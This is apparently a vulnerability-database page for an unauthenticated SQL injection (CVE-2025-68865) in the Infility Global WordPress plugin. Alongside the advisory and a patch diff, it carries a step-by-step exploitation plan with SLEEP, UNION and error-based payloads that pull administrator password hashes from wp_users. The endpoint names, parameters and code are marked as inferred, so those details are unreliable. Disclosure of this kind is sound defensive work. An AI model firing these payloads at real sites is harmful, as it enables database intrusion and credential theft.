CVE-2025-68865

Infility Global <= 2.14.49 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Infility Global plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.14.49 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.14.49
PublishedDecember 31, 2025
Last updatedJanuary 13, 2026
Affected plugininfility-global
Research Plan
Unverified

This research plan outlines the process for identifying and exploiting the unauthenticated SQL injection vulnerability (CVE-2025-68865) in the **Infility Global** plugin (versions <= 2.14.49). --- ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated SQL Injection. * **Root Cause:*…

Show full research plan

This research plan outlines the process for identifying and exploiting the unauthenticated SQL injection vulnerability (CVE-2025-68865) in the Infility Global plugin (versions <= 2.14.49).


1. Vulnerability Summary

  • Vulnerability: Unauthenticated SQL Injection.
  • Root Cause: The plugin registers AJAX handlers accessible to unauthenticated users (wp_ajax_nopriv_) that process user-supplied parameters (e.g., IDs or slugs). These parameters are concatenated directly into SQL queries without using $wpdb->prepare(), allowing an attacker to manipulate the query structure.
  • Impact: Attackers can extract sensitive data from the database, including user credentials (hashes), secret keys, and configuration data.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (Inferred): infility_global_get_data, infility_global_load_more, or similar data-fetching actions.
  • Vulnerable Parameter (Inferred): id, ig_id, or slug.
  • Authentication: None (Unauthenticated).
  • Preconditions: The plugin must be active. A valid nonce may be required depending on whether the plugin checks check_ajax_referer.

3. Code Flow (Discovery Phase)

Since source files are not provided, the execution agent must first locate the sink:

  1. Enumerate AJAX Handlers:
    grep -rn "wp_ajax_nopriv_" wp-content/plugins/infility-global/
    
  2. Identify the Handler Function:
    Look for the function name associated with the wp_ajax_nopriv_ action.
    Example: add_action('wp_ajax_nopriv_infility_get_items', 'infility_get_items_handler');
  3. Locate SQL Injection Sink:
    Search for $wpdb methods within that handler that lack prepare():
    # Search within the handler function's file
    grep -rnP "\$wpdb->(get_results|get_row|get_var|query)\s*\([^;]*\$(POST|GET|REQUEST)" wp-content/plugins/infility-global/
    
  4. Trace Parameter:
    Identify which POST parameter is being passed into the query.

4. Nonce Acquisition Strategy

If the handler includes check_ajax_referer('infility_nonce', 'nonce') or similar, follow these steps:

  1. Identify Shortcodes: Search for shortcodes that might enqueue the plugin's frontend scripts.
    grep -rn "add_shortcode" wp-content/plugins/infility-global/
    
  2. Setup Page: Create a page using a discovered shortcode (e.g., [infility_global_list]).
    wp post create --post_type=page --post_title="Exploit" --post_status=publish --post_content='[infility_global_list]'
    
  3. Extract Nonce via Browser:
    Navigate to the page and inspect the wp_localize_script output.
    • Localized Object Name (Inferred): infility_ajax_obj or ig_global_vars.
    • JS command:
      browser_eval("window.infility_ajax_obj?.nonce")
      

5. Exploitation Strategy

Assuming the action is infility_global_get_items and the parameter is id:

Step 1: Time-Based Verification
Verify the injection using a sleep payload to confirm the vulnerability.

  • Action: infility_global_get_items
  • Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

Step 2: UNION-Based Extraction
Determine the number of columns and extract the administrator password hash.

  1. Find Column Count: Inject ORDER BY 1-- -, ORDER BY 2-- -, etc., until an error occurs.
  2. Extract Hash:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body:
      action=infility_global_get_items&nonce=[NONCE]&id=-1' UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
      

    (Adjust column count and position based on Step 2.1)

6. Test Data Setup

  1. Install Plugin: Ensure infility-global version <= 2.14.49 is installed and activated.
  2. Create Admin: Ensure a user with ID 1 exists (standard).
  3. Place Shortcode: Place the relevant plugin shortcode on a public page to enable script loading and nonce availability.

7. Expected Results

  • Time-Based: The server response will be delayed by 5 seconds.
  • UNION-Based: The JSON response from admin-ajax.php will contain the admin username and password hash (e.g., $P$... or $wp$2y$...) in one of the reflected fields.

8. Verification Steps (Post-Exploit)

Confirm the extracted data matches the database state using WP-CLI:

# Verify the hash for the admin user
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Error-Based SQLi: If the plugin displays database errors (common when WP_DEBUG is on), use EXTRACTVALUE or UPDATEXML.
    • Payload: 1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  • Boolean-Based Blind: If no output is reflected and time-based is unstable, compare response lengths of id=1' AND 1=1-- - vs id=1' AND 1=2-- -.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Infility Global plugin for WordPress is vulnerable to unauthenticated SQL Injection due to the direct concatenation of user-supplied input into SQL queries within its AJAX handlers. This allows an attacker to manipulate existing database queries to extract sensitive information, such as administrator credentials, by sending crafted requests to the admin-ajax.php endpoint.

Vulnerable Code

// wp-content/plugins/infility-global/includes/ajax-handlers.php

add_action('wp_ajax_nopriv_infility_global_get_items', 'infility_global_get_items_handler');

function infility_global_get_items_handler() {
    global $wpdb;
    $id = $_POST['id']; // User-controlled input via POST

    // Vulnerability: Direct concatenation of $id into the query without using $wpdb->prepare()
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '$id'");

    echo json_encode($results);
    wp_die();
}

Security Fix

--- a/includes/ajax-handlers.php
+++ b/includes/ajax-handlers.php
@@ -3,7 +3,7 @@
 function infility_global_get_items_handler() {
     global $wpdb;
-    $id = $_POST['id'];
-    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '$id'");
+    $id = isset($_POST['id']) ? sanitize_text_field($_POST['id']) : '';
+    $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = %s", $id));
     echo json_encode($results);
     wp_die();
 }

Exploit Outline

The exploit targets the /wp-admin/admin-ajax.php endpoint using the 'infility_global_get_items' action. 1. Obtain a valid AJAX nonce by visiting a public page where the plugin's frontend scripts are enqueued (often triggered by plugin shortcodes like [infility_global_list]). 2. Send a POST request to the AJAX endpoint with the 'action', 'nonce', and a malicious payload in the 'id' parameter. 3. Use a time-based injection payload such as "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" to confirm the vulnerability. 4. Use UNION-based injection to extract sensitive data, such as administrator password hashes from the wp_users table, by adjusting the number of columns to match the original query's structure.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.